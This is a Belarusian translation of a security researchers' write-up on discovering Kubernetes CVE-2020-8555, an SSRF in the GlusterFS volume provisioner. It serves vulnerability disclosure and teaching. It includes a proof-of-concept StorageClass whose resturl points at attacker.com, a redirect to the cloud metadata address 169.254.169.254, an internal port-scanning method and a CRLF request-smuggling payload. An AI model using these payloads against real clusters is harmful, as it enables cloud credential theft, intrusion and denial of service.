Калі справа не толькі ва ўразлівасці ў Kubernetes…

Заўв. перав.: аўтары гэтага артыкула ў падрабязнасцях расказваюць аб тым, як ім удалося выявіць уразлівасць CVE-2020-8555 у Kubernetes. Хоць першапачаткова яна і выглядала не вельмі небяспечнай, у спалучэнні з іншымі фактарамі яе крытычнасць у некаторых хмарных правайдэраў аказалася максімальнай. За праведзеную працу спецыялістаў шчодра ўзнагародзілі адразу некалькі арганізацый.

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Хто мы такія

Мы – два французскіх даследчыка ў галіне бяспекі, якія сумесна выявілі ўразлівасць у Kubernetes. Нас клічуць Brice Augras і Christophe Hauquiert, але на шматлікіх Bug Bounty-платформах мы вядомыя як Reeverzax і Hach адпаведна:

Што адбылося?

Гэты артыкул - наш спосаб распавесці аб тым, як радавы даследчы праект нечакана ператварыўся ў самае займальнае прыгода ў жыцці паляўнічых за багамі (прынамсі, на дадзены момант).

Як вам, мусіць, вядома, у паляўнічых за багамі ёсць пара характэрных асаблівасцяў:

  • яны жывуць на піцах і піве;
  • яны працуюць тады, калі ўсе астатнія спяць.

Мы не выключэнне з гэтых правіл: звычайна сустракаемся ў выходныя дні і праводжаны бяссонныя хакерскія ночы. Але адна з такіх начэй скончылася вельмі незвычайна.

Першапачаткова мы збіраліся сустрэцца, каб абмеркаваць удзел у КТФ на наступны дзень. Падчас гутаркі аб бяспецы Kubernetes у кіраваным сэрвісным асяроддзі ўспомнілі аб старой ідэі SSRF (Server-Side Request Forgery) і вырашылі паспрабаваць выкарыстоўваць яе ў якасці сцэнара атакі.

У 11 вечара селі за даследаванні, а спаць адправіліся раніцай, вельмі задаволеныя вынікамі. Менавіта з-за гэтых даследаванняў мы натыкнуліся на праграму MSRC Bug Bounty і прыдумалі эксплойт з эскалацыяй прывілеяў.

Прайшло некалькі тыдняў/месяцаў, і наш нечаканы вынік дазволіў атрымаць адну з самых высокіх узнагарод у гісторыі Azure Cloud Bug Bounty - у дадатак да той, якую мы атрымалі ад Kubernetes!

Па матывах нашага даследчага праекта камітэт Kubernetes Product Security Committee апублікаваў CVE-2020-8555.

Цяпер хацелася б як мага больш распаўсюдзіць інфармацыю аб знойдзенай уразлівасці. Спадзяемся, вы ацаніце знаходку і падзяліцеся тэхнічнымі падрабязнасцямі з іншымі членамі infosec-супольнасці!

Такім чынам, вось нашая гісторыя…

Кантэкст

Каб максімальна поўна давесці сэнс здарэння, давайце спачатку разгледзім, як Kubernetes працуе ва ўмовах хмарнага кіраванага асяроддзя.

Калі вы ствараеце асобнік кластара Kubernetes у такім асяроддзі, за працу кіраўніка пласта звычайна адказвае пастаўшчык хмарных паслуг:

Калі справа не толькі ва ўразлівасці ў Kubernetes…
Кіраўнік пласт размяшчаецца ў перыметры хмарнага правайдэра, у той час як вузлы Kubernetes знаходзяцца ў перыметры кліента.

Для дынамічнага вылучэння тамоў выкарыстоўваецца механізм іх дынамічнага падавання з вонкавага storage-бэкенда і супастаўленні з PVC (persistent volume claim, г.зн. запытам на тым).

Такім чынам, пасля таго, як PVC створаны і прывязаны да StorageClass'у ў кластары K8s, далейшыя дзеянні па прадастаўленні тома бярэ на сябе kube/cloud controller manager (яго дакладная назва залежыць ад рэлізу). (Заўв. перав.: Больш падрабязна пра CCM на прыкладзе яго рэалізацыі для аднаго з хмарных правайдэраў мы ўжо пісалі тут.)

Існуе некалькі разнавіднасцяў provisioner'аў, якія падтрымліваюцца Kubernetes: большасць з іх уключаны ў ядро аркестратара, а іншыя кіруюцца дадатковымі provisioner'амі, якія размяшчаюцца ў pod'ах у кластары.

У сваім даследаванні мы сфакусаваліся на ўнутраным механізме прадастаўлення тамоў, які праілюстраваны ніжэй:

Калі справа не толькі ва ўразлівасці ў Kubernetes…
Дынамічнае прадастаўленне тамоў з выкарыстаннем убудаванага provisioner'а Kubernetes

Калі сцісла, калі Kubernetes разгорнуты ў кіраваным асяроддзі, за працу controller manager'а адказвае пастаўшчык хмарных паслуг, але запыт на стварэнне тома (нумар 3 на схеме вышэй) пакідае межы ўнутранай сеткі хмарнага правайдэра. І вось тут сітуацыя становіцца па-сапраўднаму цікавай!

Сцэнар узлому

У гэтым раздзеле мы раскажам, як скарысталіся згаданым вышэй працоўным працэсам і атрымалі доступ да ўнутраных рэсурсаў пастаўшчыка хмарных паслуг. Акрамя таго, будзе паказана, як можна ажыццявіць пэўныя дзеянні - напрыклад, атрымаць унутраныя ўліковыя дадзеныя або правесці эскалацыю прывілеяў.

Адна простая маніпуляцыя (у дадзеным выпадку гэта Service Side Request Forgery) дапамагла выйсці за межы кліенцкага асяроддзя ў кластарах розных пастаўшчыкоў паслуг па кіраваным K8s.

У сваіх даследаваннях мы засяродзіліся на provisioner'е GlusterFS. Нягледзячы на ​​тое, што далейшая паслядоўнасць дзеянняў апісана ў такім кантэксце, гэтай жа ўразлівасці схільныя Quobyte, StorageOS і ScaleIO.

Калі справа не толькі ва ўразлівасці ў Kubernetes…
Злоўжыванне механізмам дынамічнага прадастаўлення тамоў

Падчас аналізу класа сховішчаў GlusterFS у зыходніках кліента на Golang мы заўважылі, што пры першым HTTP-запыце (3), адпраўленым падчас стварэння тома, да канца карыстацкага URL у параметры resturl дадаецца /volumes.

Пазбавіцца ад гэтага дадатковага шляху мы вырашылі даданнем # у параметр resturl. Вось першая YAML-канфігурацыя, якую мы выкарыстоўвалі для праверкі на наяўнасць «напаўсляпой» SSRF-уразлівасці (падрабязней пра semi-blind ці half-blind SSRF можна прачытаць, напрыклад, тут - заўв. перав.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Затым для выдаленага кіравання кластарам Kubernetes скарысталіся бінарнікам. кубектль. Як правіла, хмарныя правайдэры (Azure, Google, AWS і т д.) дазваляюць атрымаць уліковыя дадзеныя для іх выкарыстання ў гэтай утыліце.

Дзякуючы гэтаму і атрымалася ўжыць свой "асаблівы" файл. Kube-controller-manager выканаў выніковы HTTP-запыт:

kubectl create -f sc-poc.yaml

Калі справа не толькі ва ўразлівасці ў Kubernetes…
Адказ з пункту гледжання атакавалага

Неўзабаве пасля гэтага мы таксама змаглі атрымаць HTTP-адказ ад мэтавага сервера - праз каманды describe pvc або get events у kubectl. І сапраўды: гэты драйвер Kubernetes па змаўчанні занадта шматслоўны ў сваіх папярэджаннях/паведамленнях пра памылкі…

Вось прыклад са спасылкай на https://www.google.fr, усталяванай у якасці параметру resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Калі справа не толькі ва ўразлівасці ў Kubernetes…

У рамках такога падыходу мы былі абмежаваныя запытамі тыпу HTTP POST і не маглі атрымаць змесціва цела адказу, калі які вяртаецца код быў 201. Таму вырашылі правесці дадатковыя даследаванні і пашырылі гэты сцэнар узлому новымі падыходамі.

Эвалюцыя нашых даследаванняў

  • Прасунуты сцэнар №1: выкарыстанне 302-га рэдырэкту са знешняга сервера для змены метаду HTTP, каб атрымаць больш гнуткі спосаб збору ўнутраных дадзеных.
  • Прасунуты сцэнар №2: аўтаматызацыя сканавання LAN і выяўленні ўнутраных рэсурсаў.
  • Прасунуты сцэнар №3: выкарыстанне HTTP CRLF + smuggling («кантрабанды» запытаў) для стварэння адаптаваных HTTP-запытаў і атрыманні дадзеных, вынятых з логаў kube-controller'а.

Тэхнічныя спецыфікацыі

  • У даследаваннях выкарыстоўваўся Azure Kubernetes Service (AKS) з Kubernetes версіі 1.12 у рэгіёне North Europe.
  • Апісаныя вышэй сцэнарыі выконваліся на апошніх рэлізах Kubernetes за выключэннем трэцяга сцэнара, т.я. яму патрабаваўся Kubernetes, сабраны з Golang версіі ≤ 1.12.
  • Вонкавы сервер атакавалага https://attacker.com.

Прасунуты сцэнар №1: рэдырэкт HTTP-запыту POST у GET і атрыманне канфідэнцыйных дадзеных

Першапачатковы спосаб быў палепшаны канфігурацыяй сервера зламысніка на зварот. 302 HTTP Retcode, каб канвертаваць POST-запыт у GET-запыт (крок 4 на схеме):

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Першы запыт (3), які зыходзіць ад кліента GlusterFS (Controller Manager), мае тып POST. Выканаўшы наступныя крокі, мы змаглі ператварыць яго ў GET:

  • У якасці параметру resturl у StorageClass паказваецца http://attacker.com/redirect.php.
  • канчатковая кропка https://attacker.com/redirect.php адказвае статут-кодам 302 HTTP са наступным Location Header'ом: http://169.254.169.254. Гэта можа быць любы іншы ўнутраны рэсурс - у дадзеным выпадку redirect-спасылка выкарыстоўваецца выключна ў якасці прыкладу.
  • Па змаўчанні бібліятэка net/http Golang'а перанакіроўвае запыт і канвертуе POST у GET з 302-м статут-кодам, у выніку чаго на мэтавы рэсурс паступае HTTP-запыт GET.

Каб прачытаць цела HTTP-адказу, трэба зрабіць describe аб'екта PVC:

kubectl describe pvc xxx

Вось прыклад HTTP-адказу ў фармаце JSON, які нам удалося атрымаць:

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Магчымасці знойдзенай уразлівасці на той момант былі абмежаваныя з-за наступных момантаў:

  • Немагчымасць уставіць HTTP-загалоўкі ў выходны запыт.
  • Немагчымасць выконваць POST-запыт з параметрамі ў целе (так зручна запытваць значэнне ключа ў асобніка etcd, які працуе на 2379 порце, калі выкарыстоўваецца незашыфраваны HTTP).
  • Немагчымасць атрымаць змесціва цела адказу, калі статут-код быў роўны 200 і адказ не меў JSON Content-Type.

Прасунуты сцэнар №2: сканіраванне лакальнай сеткі

Гэты метад half-blind SSRF затым выкарыстоўваўся для сканавання ўнутранай сеткі пастаўшчыка хмарных паслуг і апытання розных слухачоў сэрвісаў (асобнік Metadata, Kubelet, etcd і г.д.) на аснове адказаў kube controller'а.

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Спачатку былі вызначаны стандартныя слухачы парты кампанентаў Kubernetes (8443, 10250, 10251 і г.д.), а затым прыйшлося аўтаматызаваць працэс сканавання.

Бачачы, што дадзены спосаб сканавання рэсурсаў вельмі спецыфічны і не сумяшчальны з класічнымі сканарам і SSRF-інструментамі, мы вырашылі стварыць уласныя worker'ы ў bash-скрыпце, якія аўтаматызуюць увесь працэс.

Напрыклад, каб хутчэй прасканаваць дыяпазон 172.16.0.0/12 унутранай сеткі, раўналежна запускаліся 15 worker'ов. Вышэйназваны дыяпазон IP быў выбраны выключна ў якасці прыкладу і можа быць зменены на IP-дыяпазон канкрэтнага пастаўшчыка паслуг.

Каб прасканаваць адзін IP-адрас і адзін порт, неабходна зрабіць наступнае:

  • выдаліць правераны ў мінулы раз StorageClass;
  • выдаліць папярэдні правераны Persistent Volume Claim;
  • змяніць значэння IP і Port у sc.yaml;
  • стварыць StorageClass з новым IP і портам;
  • стварыць новы PVC;
  • атрымаць вынікі сканавання з дапамогай describe'а для PVC.

Прасунуты сцэнар №3: ін'екцыя CRLF + smuggling HTTP у "старых" версіях кластара Kubernetes

Калі ў дадатак да гэтага правайдэр прапаноўваў кліентам старыя версіі кластара K8s и адчыняў ім доступ да логаў kube-controller-manager'а, эфект станавіўся яшчэ значней.

Зламысніку сапраўды значна зручней змяняць па сваім меркаванні HTTP-запыты, прызначаныя для атрымання поўнага HTTP-адказу.

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Для рэалізацыі апошняга сцэнара павінны былі выконвацца наступныя ўмовы:

  • Карыстальнік павінен мець доступ да логаў kube-controller-manager (як, напрыклад, у Azure LogInsights).
  • Кластар Kubernetes павінен выкарыстоўваць версію Golang ніжэй за 1.12.

Мы разгарнулі лакальнае асяроддзе, якое імітуе абмен дадзенымі паміж Go-кліентам GlusterFS і падробленым мэтавым серверам (пакуль устрымаемся ад публікацыі PoC).

Была знойдзена уразлівасць, якая закранае версіі Golang ніжэй 1.12 і якая дазваляла хакерам праводзіць напады тыпу HTTP smuggling/CRLF.

Аб'яднаўшы апісаную вышэй half-blind SSRF разам з гэтай, мы змаглі пасылаць запыты на свой густ, уключаючы замену загалоўкаў, метаду HTTP, параметраў і дадзеных, якія kube-controller-manager затым апрацоўваў.

Вось прыклад працоўнай «нажыўкі» у параметры resturl StorageClass'а, якая рэалізуе падобны сцэнар нападу:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

У выніку ўзнікае памылка unsolicited response, паведамленне аб якой запісваецца ў логі кантролера. Дзякуючы ўключанай па змаўчанні «шматслоўнасці» туды ж захоўваецца і змесціва HTTP-паведамлення ў адказ.

Калі справа не толькі ва ўразлівасці ў Kubernetes…

Гэта была наша самая дзейсная «нажыўка» у рамках proof of concept.

Выкарыстоўваючы такі падыход, мы змаглі правесці некаторыя з наступных нападаў у кластарах розных пастаўшчыкоў managed k8s: эскалацыя прывілеяў з атрыманнем уліковых дадзеных на metadata-інстансах, DoS майстры з дапамогай (незашыфраваных) HTTP-запытаў на майстар-экзэмплярах etcd і да т.п.

наступствы

У афіцыйнай заяве Kubernetes з нагоды выяўленай намі SSRF-уразлівасці ёй быў прысвоены рэйтынг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Калі разглядаць толькі ўразлівасць, звязаную з перыметрам Kubernetes, вектар цэласнасці (integrity vector) у ёй кваліфікуецца як ні адзін.

Аднак ацэнка магчымых наступстваў у кантэксце кіраванага сэрвіснага асяроддзя (і гэта была самая цікавая частка нашага даследавання!) заахвоціла нас перакваліфікаваць уразлівасць на рэйтынг Critical CVSS10/10 для многіх дыстрыбутараў.

Ніжэй прыведзена дадатковая інфармацыя, якая дапаможа зразумець, чым мы кіраваліся пры ацэнцы магчымых наступстваў у хмарных асяродках:

цэласнасць

  • Выдаленае выкананне каманд з дапамогай атрыманых унутраных уліковых дадзеных.
  • Узнаўленне вышэйапісанага сцэнара метадам IDOR (Insecure Direct Object Reference, г.зн. небяспечных прамых спасылак на аб'екты) з іншымі рэсурсамі, выяўленымі ў лакальнай сетцы.

Канфідэнцыяльнасць

  • Атака тыпу Бакавы рух дзякуючы крадзяжу хмарных уліковых дадзеных (напрыклад, metadata API).
  • Збор інфармацыі з дапамогай сканіравання лакальнай сеткі (вызначэнне версіі SSH, версіі HTTP-сервера, …).
  • Збор інфармацыі аб асобніках і інфраструктуры шляхам апытання ўнутраных API, такіх як metadata API (http://169.254.169.254, ...).
  • Крадзеж дадзеных кліентаў з дапамогай хмарных уліковых дадзеных.

даступнасць

Усе сцэнары прымянення эксплойтаў, звязаныя з вектарамі атакі на integrity (цэласнасць), могуць быць выкарыстаны для разбуральных дзеянняў і прыводзіць да таго, што майстар-інстансы з кліенцкага перыметра (ці любога іншага) будуць недаступныя.

Паколькі мы знаходзіліся ў кіраваным асяроддзі K8s і ацэньвалі ўплыў на цэласнасць, можна ўявіць сабе мноства сцэнараў, здольных паўплываць на даступнасць. У якасці дадатковых прыкладаў прывядзем пашкоджанне базы дадзеных etcd ці выкананне крытычнага выкліку да API Kubernetes.

храналогія

  • 6 снежня 2019 г.: адпраўка паведамлення аб выяўленай уразлівасці ў MSRC Bug Bounty.
  • 3 студзеня 2020 года: трэці бок праінфармаваў распрацоўшчыкаў Kubernetes аб тым, што мы працуем над праблемай у галіне бяспекі. І папрасіла іх разглядаць SSRF як унутраная (in-core) уразлівасць. Пасля гэтага мы прадставілі агульную справаздачу з тэхнічнымі падрабязнасцямі аб крыніцы праблемы.
  • 15 студзеня 2020 г.: мы падалі распрацоўшчыкам Kubernetes тэхнічны і агульны справаздачы па іх запыце (праз платформу HackerOne).
  • 15 студзеня 2020 г.: распрацоўшчыкі Kubernetes паведамілі нам, што half-blind SSRF + ін'екцыя CRLF для мінулых рэлізаў лічыцца ўразлівасцю in-core. Мы адразу ж спынілі аналіз перыметраў іншых пастаўшчыкоў паслуг: першапрычынай зараз займалася каманда K8s.
  • 15 студзеня 2020 года: праз HackerOne атрымана ўзнагарода ад MSRC.
  • 16 студзеня 2020 года: Kubernetes PSC (Product Security Committee) прызнаў уразлівасць і папрасіў трымаць яе ў таямніцы да сярэдзіны сакавіка з-за вялікай колькасці патэнцыйных ахвяр.
  • 11 лютага 2020 года: атрымана ўзнагарода ад Google VRP.
  • 4 сакавіка 2020 г.: праз HackerOne атрымана ўзнагарода ад Kubernetes.
  • 15 сакавіка 2020 г.: першапачаткова запланаванае публічнае раскрыццё адкладзена з-за сітуацыі з COVID-19.
  • 1 чэрвеня 2020 года: сумесную заяву Kubernetes + Microsoft аб уразлівасці.

TL, д-р

  • Мы п'ем піва і ямо піцу 🙂
  • Мы выявілі in-core-уразлівасць у Kubernetes, хоць зусім не збіраліся гэтага рабіць.
  • Мы правялі дадатковы аналіз у кластарах розных хмарных правайдэраў і змаглі павялічыць шкоду, які прычыняецца ўразлівасцю, каб атрымаць дадатковыя ачмураныя бонусы.
  • У гэтым артыкуле вы знойдзеце мноства тэхнічных падрабязнасьцяў. Мы з радасцю абмяркуем іх з вамі (Twitter: @ReeverZax & @__hach_).
  • Аказалася, што разнастайныя фармальнасці і складанне справаздач займаюць значна больш часу, чым чакалася.

Спасылкі

PS ад перакладчыка

Чытайце таксама ў нашым блогу:

Крыніца: habr.com

Дадаць каментар